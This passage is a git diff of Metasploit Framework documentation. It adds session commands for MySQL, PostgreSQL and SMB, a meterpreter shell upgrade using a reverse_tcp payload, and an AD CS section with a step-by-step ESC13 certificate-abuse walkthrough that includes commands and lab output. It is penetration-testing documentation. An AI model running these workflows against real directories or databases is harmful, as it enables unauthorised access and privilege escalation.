exploit/windows/mysql/mysql_mof
|
||||
exploit/windows/mysql/mysql_start_up
|
||||
```
|
||||
|
||||
Once you've done that, you can run any MySQL query against the target using the `query` command:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query SHOW DATABASES;
|
||||
query USE information_schema;
|
||||
query SELECT * FROM SQL_FUNCTIONS;
|
||||
query SELECT version();
|
||||
|
||||
mysql @ 127.0.0.1:4306 > query 'SELECT version();'
|
||||
Response
|
||||
========
|
||||
|
||||
# version()
|
||||
- ---------
|
||||
0 11.2.2-MariaDB-1:11.2.2+maria~ubu2204
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 () > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
mysql @ 127.0.0.1:4306 () > query_interactive
|
||||
[*] Starting interactive SQL shell for mysql @ 127.0.0.1:4306 ()
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> SELECT table_name
|
||||
SQL *> FROM information_schema.tables
|
||||
SQL *> LIMIT 2;
|
||||
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
|
||||
Response
|
||||
========
|
||||
|
||||
# table_name
|
||||
- ----------
|
||||
0 ALL_PLUGINS
|
||||
1 APPLICABLE_ROLES
|
||||
|
||||
SQL >>
|
||||
```
|
||||
|
||||
### MySQL Dumping
|
||||
|
||||
User and hash dump:
|
||||
|
||||
@@ -17,6 +17,13 @@ There are more modules than listed here, for the full list of modules run the `s
|
||||
msf6 > search postgres
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:postgres
|
||||
```
|
||||
|
||||
|
||||
### Lab Environment
|
||||
|
||||
When testing in a lab environment PostgreSQL can either be installed on the host machine or within Docker:
|
||||
@@ -80,6 +87,158 @@ run cidr:/24:postgres://user:pass@192.168.222.0 threads=50
|
||||
run cidr:/24:postgres://user@192.168.222.0 threads=50 pass_file=./wordlist.txt
|
||||
```
|
||||
|
||||
### Obtaining an Interactive Session
|
||||
The CreateSession option for `auxiliary/scanner/postgres/postgres_login` allows you to obtain an
|
||||
interactive session for the Postgres client you're connecting to. The run command with CreateSession
|
||||
set to true should give you an interactive session.
|
||||
|
||||
For example:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true
|
||||
```
|
||||
|
||||
Should yield:
|
||||
|
||||
```msf
|
||||
[+] 127.0.0.1:5432 - Login Successful: postgres:password@template1
|
||||
[*] PostgreSQL session 1 opened (127.0.0.1:61324 -> 127.0.0.1:5432) at 2024-03-15 14:00:12 -0500
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
You can interact with your session using `sessions -i -1` or `sessions <session id>`.
|
||||
Use the help command for more info.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 postgresql PostgreSQL postgres @ 127.0.0.1:5432 127.0.0.1:61324 -> 127.0.0.1:5432 (127.0.0.1)
|
||||
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
PostgreSQL Client Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/postgres/postgres_readfile
|
||||
auxiliary/admin/postgres/postgres_sql
|
||||
auxiliary/scanner/postgres/postgres_hashdump
|
||||
auxiliary/scanner/postgres/postgres_schemadump
|
||||
auxiliary/scanner/postgres/postgres_version
|
||||
exploit/linux/postgres/postgres_payload
|
||||
exploit/multi/postgres/postgres_copy_from_program_cmd_exec
|
||||
exploit/multi/postgres/postgres_createlang
|
||||
exploit/windows/postgres/postgres_payload
|
||||
```
|
||||
|
||||
Once you've done that, you can run any Postgres query against the target using the `query` command:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query SELECT user;
|
||||
query SELECT version();
|
||||
query SELECT * FROM pg_catalog.pg_tables;
|
||||
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query 'SELECT version();'
|
||||
[*] SELECT 1
|
||||
|
||||
Response
|
||||
========
|
||||
|
||||
# version
|
||||
- -------
|
||||
0 PostgreSQL 14.1 on aarch64-apple-darwin20.6.0, compiled by Apple clang version 12.0.5 (clang-1205.0.22.9), 64-bit
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query_interactive
|
||||
[*] Starting interactive SQL shell for postgresql @ 127.0.0.1:5432 (template1)
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> SELECT table_name
|
||||
SQL *> FROM information_schema.tables
|
||||
SQL *> LIMIT 2;
|
||||
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
|
||||
[*] SELECT 2
|
||||
|
||||
Response
|
||||
========
|
||||
|
||||
# table_name
|
||||
- ----------
|
||||
0 pg_statistic
|
||||
1 pg_type
|
||||
|
||||
SQL >>
|
||||
```
|
||||
|
||||
### PostgreSQL Capture Server
|
||||
|
||||
Captures and log PostgreSQL credentials:
|
||||
|
||||
@@ -8,7 +8,7 @@ There are two main ports for SMB:
|
||||
- 445/TCP - Newer versions of SMB use this port, were NetBIOS is not used.
|
||||
|
||||
Other terminology to be aware of:
|
||||
- SMB - Serer Message Blocks
|
||||
- SMB - Server Message Blocks
|
||||
- CIFS - Common Internet File System
|
||||
- Samba - A free software re-implementation of SMB, which is frequently found on unix-like systems
|
||||
|
||||
@@ -24,7 +24,13 @@ Metasploit has support for multiple SMB modules, including:
|
||||
There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
|
||||
|
||||
```msf
|
||||
msf6 > search mysql
|
||||
msf6 > search smb
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:smb
|
||||
```
|
||||
|
||||
### Lab Environment
|
||||
@@ -63,6 +69,122 @@ Restart the service:
|
||||
service smbd restart
|
||||
```
|
||||
|
||||
### SMB Login and Interactive Sessions
|
||||
|
||||
When using the smb_login module, the CreateSession option can be used to obtain an interactive
|
||||
session within the smb instance. Running with the following options:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username
|
||||
```
|
||||
|
||||
Should give you output similar to
|
||||
|
||||
```msf
|
||||
[*] 172.14.2.164:445 - 172.14.2.164:445 - Starting SMB login bruteforce
|
||||
[+] 172.14.2.164:445 - 172.14.2.164:445 - Success: 'windomain.local\username:password' Administrator
|
||||
[*] SMB session 1 opened (172.16.158.1:62793 -> 172.14.2.164:445) at 2024-03-12 17:03:09 +0000
|
||||
[*] 172.14.2.164:445 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
```
|
||||
|
||||
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
SMB (172.14.2.164) > shares
|
||||
Shares
|
||||
======
|
||||
|
||||
# Name Type comment
|
||||
- ---- ---- -------
|
||||
0 ADMIN$ DISK|SPECIAL Remote Admin
|
||||
1 C$ DISK|SPECIAL Default share
|
||||
2 foo DISK
|
||||
3 IPC$ IPC|SPECIAL Remote IPC
|
||||
|
||||
SMB (172.14.2.164) > shares -i foo
|
||||
[+] Successfully connected to foo
|
||||
SMB (172.14.2.164\foo) > ls
|
||||
ls
|
||||
===
|
||||
[truncated]
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
SMB (172.14.2.164\foo) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the SMB session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
Shares Commands
|
||||
===============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
cat Read the file at the given path
|
||||
cd Change the current remote working directory
|
||||
delete Delete a file
|
||||
dir List all files in the current directory (alias for ls)
|
||||
download Download a file
|
||||
ls List all files in the current directory
|
||||
mkdir Make a new directory
|
||||
pwd Print the current remote working directory
|
||||
rmdir Delete a directory
|
||||
shares View the available shares and interact with one
|
||||
upload Upload a file
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/dcerpc/icpr_cert
|
||||
auxiliary/admin/dcerpc/samr_computer
|
||||
auxiliary/admin/smb/delete_file
|
||||
auxiliary/admin/smb/download_file
|
||||
auxiliary/admin/smb/psexec_ntdsgrab
|
||||
auxiliary/admin/smb/upload_file
|
||||
auxiliary/gather/windows_secrets_dump
|
||||
auxiliary/scanner/smb/pipe_auditor
|
||||
auxiliary/scanner/smb/pipe_dcerpc_auditor
|
||||
auxiliary/scanner/smb/smb_enum_gpp
|
||||
auxiliary/scanner/smb/smb_enumshares
|
||||
auxiliary/scanner/smb/smb_enumusers
|
||||
auxiliary/scanner/smb/smb_enumusers_domain
|
||||
auxiliary/scanner/smb/smb_lookupsid
|
||||
exploit/windows/smb/psexec
|
||||
```
|
||||
|
||||
### SMB Enumeration
|
||||
|
||||
Enumerate SMB version:
|
||||
|
||||
@@ -20,3 +20,13 @@ run session=-1
|
||||
run session=-1 win_transfer=POWERSHELL
|
||||
run session=-1 win_transfer=VBS
|
||||
```
|
||||
|
||||
If you want to upgrade your shell with fine control over what payload, use the `PAYLOAD_OVERRIDE`, `PLATFORM_OVERRIDE`, and on windows, `PSH_ARCH_OVERRIDE`. All 3 options are required to set an override on windows, and the first two options are required on other platforms, unless you are not using an override.
|
||||
|
||||
```
|
||||
use multi/manage/shell_to_meterpreter
|
||||
set SESSION 1
|
||||
set PAYLOAD_OVERRIDE windows/meterpreter/reverse_tcp
|
||||
set PLATFORM_OVERRIDE windows
|
||||
set PSH_ARCH_OVERRIDE x64
|
||||
```
|
||||
|
||||
@@ -24,7 +24,9 @@ The latest OS X installer package can also be downloaded directly here: <https:/
|
||||
|
||||
## Installing Metasploit on Windows
|
||||
|
||||
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/). To install, simply download the .msi package, adjust your Antivirus as-needed to ignore c:\metasploit-framework, double-click and enjoy. The msfconsole command and all related tools will be added to the system %PATH% environment variable.
|
||||
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/).
|
||||
To install, download the `.msi` package, adjust your Antivirus as-needed to ignore `c:\metasploit-framework` and execute the installer by right-clicking the installer file and selecting "Run as Administrator".
|
||||
The msfconsole command and all related tools will be added to the system `%PATH%` environment variable.
|
||||
|
||||
### Windows Anti-virus software flags the contents of these packages!
|
||||
|
||||
|
||||
@@ -41,3 +41,18 @@ These are just suggestions, but it'd be nice if the KB had these sections:
|
||||
- **Verification Steps** - Tells users how to use the module and what the expected results are from running the module.
|
||||
- **Options** - Provides descriptions of all the options that can be run with the module. Additionally, clearly identify the options that are required.
|
||||
- **Scenarios** - Provides sample usage and describes caveats that the user may need to be aware of when running the module.
|
||||
|
||||
### Before you submit your PR: msftidy_docs.rb
|
||||
|
||||
A documentation file can be passed as a positional argument to `metasploit-framework/tools/dev/msftidy_docs.rb` and will
|
||||
highlight formatting errors the docs file might contain. Once all the errors and warnings thrown by `msftidy_docs.rb` have
|
||||
been resolved, the documentation file is ready for submission.
|
||||
|
||||
```
|
||||
➜ metasploit-framework git:(upstream-master) ✗ ruby tools/dev/msftidy_docs.rb documentation/modules/exploit/linux/http/panos_op_cmd_exec.md
|
||||
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md - [INFO] Missing Section: ## Options
|
||||
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md - [WARNING] Please add a newline at the end of the file
|
||||
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md - [WARNING] H2 headings in incorrect order. Should be: Vulnerable Application, Verification Steps/Module usage, Options, Scenarios
|
||||
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md:50 - [WARNING] Should use single backquotes (`) for single line literals instead of triple backquotes (```)
|
||||
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md:53 - [WARNING] Spaces at EOL
|
||||
```
|
||||
+118
-34
@@ -5,18 +5,39 @@ for testing purposes.
|
||||
# Introduction to AD CS Vulnerabilities
|
||||
```mermaid
|
||||
flowchart TD
|
||||
escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
|
||||
icpr[Issue certificates via icpr_cert] --> ESC1{{ESC1}}
|
||||
ESC1{{ESC1}} -- Via PKINIT --> pkinit{Authenticate to Kerberos}
|
||||
icpr[Issue certificates via icpr_cert] --> users[Request certificates on behalf of other users]
|
||||
users[Request certificates on behalf of other users] --> ESC2{{ESC2}}
|
||||
users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
|
||||
ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
|
||||
subgraph ad_cs_cert_templates[<b>ad_cs_cert_templates</b>]
|
||||
ESC4(ESC4)
|
||||
update_template[<i>Update Template</i>]
|
||||
ESC4 --> update_template
|
||||
end
|
||||
subgraph icpr_cert[<b>icpr_cert</b>]
|
||||
ESC1(ESC1)
|
||||
ESC2(ESC2)
|
||||
ESC3(ESC3)
|
||||
ESC13(ESC13)
|
||||
alt_subject[<i>Alternate Subject Issuance</i>]
|
||||
as_eagent[<i>Enrollment Agent Issuance</i>]
|
||||
normal[<i>Normal Issuance</i>]
|
||||
|
||||
ESC1 --> alt_subject
|
||||
ESC2 --> as_eagent
|
||||
ESC3 --> as_eagent
|
||||
ESC13 --> normal
|
||||
as_eagent -- use new certificate --> normal
|
||||
end
|
||||
subgraph kerberos/get_ticket[<b>kerberos/get_ticket</b>]
|
||||
PKINIT[<i>PKINIT</i>]
|
||||
end
|
||||
subgraph ldap_esc_vulnerable_cert_finder[<b>ldap_ecs_vulnerable_cert_finder</b>]
|
||||
find_vulnerable_templates[<i>Find Vulnerable Templates</i>]
|
||||
end
|
||||
alt_subject --> PKINIT
|
||||
find_vulnerable_templates --> icpr_cert
|
||||
normal --> PKINIT
|
||||
update_template --> ESC1
|
||||
```
|
||||
|
||||
The chart above showcases how one can go about attacking four common AD CS
|
||||
The chart above showcases how one can go about attacking five unique AD CS
|
||||
vulnerabilities, taking advantage of various flaws in how certificate templates are
|
||||
configured on an Active Directory Certificate Server.
|
||||
|
||||
@@ -30,8 +51,7 @@ administrator via Kerberos.
|
||||
Each certificate template vulnerability that will be discussed here has a ESC code, such
|
||||
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
|
||||
SpecterOps published which popularized these certificate template attacks, known as
|
||||
[Certified
|
||||
Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||
[Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
|
||||
attacks that they found they could conduct via misconfigured certificate templates:
|
||||
|
||||
@@ -52,29 +72,30 @@ attacks that they found they could conduct via misconfigured certificate templat
|
||||
- ESC7 - Vulnerable Certificate Authority Access Control
|
||||
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
|
||||
|
||||
Later, another
|
||||
[blog](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
came out from Oliver Lyak which discovered ESC9 and ESC10, two more vulnerabilities that
|
||||
could allow normal domain joined users to abuse certificate template misconfigurations to
|
||||
gain domain administrator privileges.
|
||||
Later, additional techniques were disclosed by security researchers:
|
||||
|
||||
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in
|
||||
`msPKI-EnrollmentFlag`. Also `StrongCertificateBindingEnforcement` not set to 2 or
|
||||
`CertificateMappingMethods` contains `UPN` flag.
|
||||
- ESC10 - Weak Certificate Mappings -
|
||||
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
||||
CertificateMappingMethods` contains `UPN` bit aka `0x4` or
|
||||
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement` is set to `0`.
|
||||
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in `msPKI-EnrollmentFlag`. Also
|
||||
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
|
||||
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
||||
CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
|
||||
StrongCertificateBindingEnforcement` is set to `0`.
|
||||
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
|
||||
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
- [Relaying to AD Certificate Services over
|
||||
RPC](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
|
||||
- ESC12 - A user with shell access to a CA server using a YubiHSM2 hardware security module can access the CA's private
|
||||
key.
|
||||
- [Shell access to ADCS CA with YubiHSM](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
|
||||
- ESC13 - Domain escalation via issuance policies with group links.
|
||||
- [ADCS ESC13 Abuse Technique](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc13]]
|
||||
|
||||
Finally, we have ESC11, which was discovered by Compass Security and described in their
|
||||
[blog
|
||||
post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
|
||||
interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
|
||||
this page only covers exploiting ESC1 to ESC4 at this time.
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4 and ESC13. As such,
|
||||
this page only covers exploiting ESC1 through ESC4 and ESC13 at this time.
|
||||
|
||||
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
|
||||
as the diagram notes above. This is because in ESC1, one has control over the
|
||||
@@ -134,7 +155,9 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
|
||||
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
|
||||
which users or groups can use that certificate template to elevate their privileges.
|
||||
|
||||
At this time, the module is capable of identifying techniques ESC1 through ESC3.
|
||||
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and ESC13. The
|
||||
module is limited to checking for these techniques due to them being identifiable remotely from a normal user account by
|
||||
analyzing the objects in LDAP.
|
||||
|
||||
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
|
||||
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
|
||||
@@ -858,6 +881,67 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
|
||||
used to authenticate to Active Directory as the Domain Admin.
|
||||
|
||||
# Exploiting ESC13
|
||||
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
|
||||
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
|
||||
administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
|
||||
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
|
||||
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
|
||||
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
|
||||
ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||
...
|
||||
[*] Template: ESC13-Test
|
||||
[*] Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
|
||||
[*] Vulnerable to: ESC13
|
||||
[*] Notes: ESC13 groups: ESC13-Group
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-513 (Domain Users)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * collalabs1-SRV-ADDS01-CA
|
||||
[*] Server: SRV-ADDS01.collalabs1.local
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
|
||||
```
|
||||
|
||||
In this case, the ticket can be issued with the `icpr_cert` module. No additional options are required to issue the
|
||||
certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
|
||||
SMBDomain => COLLALABS1
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
|
||||
CA => collalabs1-SRV-ADDS01-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
|
||||
CERT_TEMPLATE => ESC13-Test
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[+] 172.30.239.85:445 - The requested certificate was issued.
|
||||
[*] 172.30.239.85:445 - Certificate Email: normaluser@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3474343397-3755413101-2031708755-10051
|
||||
[*] 172.30.239.85:445 - Certificate UPN: normaluser@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group`
|
||||
RID present in the Groups field of the TGT PAC.
|
||||
|
||||
# Authenticating With A Certificate
|
||||
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
|
||||
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
|
||||
|
||||
+25
-3
@@ -202,13 +202,33 @@ git fetch upstream
|
||||
git checkout fixes-to-pr-12345 upstream/pr/12345
|
||||
```
|
||||
|
||||
If you're writing test cases (which you should), then make sure [rspec] works:
|
||||
## Running and writing tests
|
||||
|
||||
If you're writing test cases (which you should), you should first configure your local database:
|
||||
|
||||
```bash
|
||||
rake spec
|
||||
bundle exec rake db:create db:migrate db:seed RAILS_ENV=test
|
||||
```
|
||||
|
||||
You should see over 9000 tests run, mostly resulting in green dots, a few in yellow stars, and no red errors.
|
||||
Then make sure [rspec] works:
|
||||
|
||||
```bash
|
||||
bundle exec rspec
|
||||
```
|
||||
|
||||
To run tests defined in file(s):
|
||||
|
||||
```bash
|
||||
bundle exec rspec ./spec/path/to/your/tests_1.rb ./spec/path/to/your/tests_2.rb
|
||||
```
|
||||
|
||||
To run run the tests defined at a line number - for instance line 23:
|
||||
|
||||
```
|
||||
bundle exec rspec ./spec/path/to/your/tests_1.rb:23
|
||||
```
|
||||
|
||||
Newly contributed tests should follow the conventions defined by [BetterSpecs.org] - with the additional requirement that all `it` blocks should have a human readable description.
|
||||
|
||||
# Great! Now what?
|
||||
|
||||
@@ -250,3 +270,5 @@ Finally, we welcome your feedback on this guide, so feel free to reach out to us
|
||||
[@kernelsmith]:https://github.com/kernelsmith
|
||||
[@corelanc0d3r]:https://github.com/corelanc0d3r
|
||||
[@ffmike]:https://github.com/ffmike
|
||||
|
||||
[BetterSpecs.org]:https://www.betterspecs.org/
|
||||
|
||||
@@ -106,5 +106,5 @@ sequenceDiagram
|
||||
- AS-REP Roasting - Some Kerberos accounts may be configured with a `Do not require Kerberos preauthentication` flag. For these accounts a Kerberos TGT will be returned by the KDC without needing to authenticate. These TGTs can be bruteforced to learn the original user's credentials. The [[auxiliary/scanner/kerberos/kerberos_login|pentesting/active-directory/kerberos/kerberos_login.md#asreproasting]] module implements this workflow.
|
||||
- Forging Tickets - After compromising a KDC or service account it is possible to forge tickets for persistence. The [[auxiliary/admin/kerberos/forge_ticket|pentesting/active-directory/kerberos/forge_ticket.md]] module can forge both Golden and Silver tickets.
|
||||
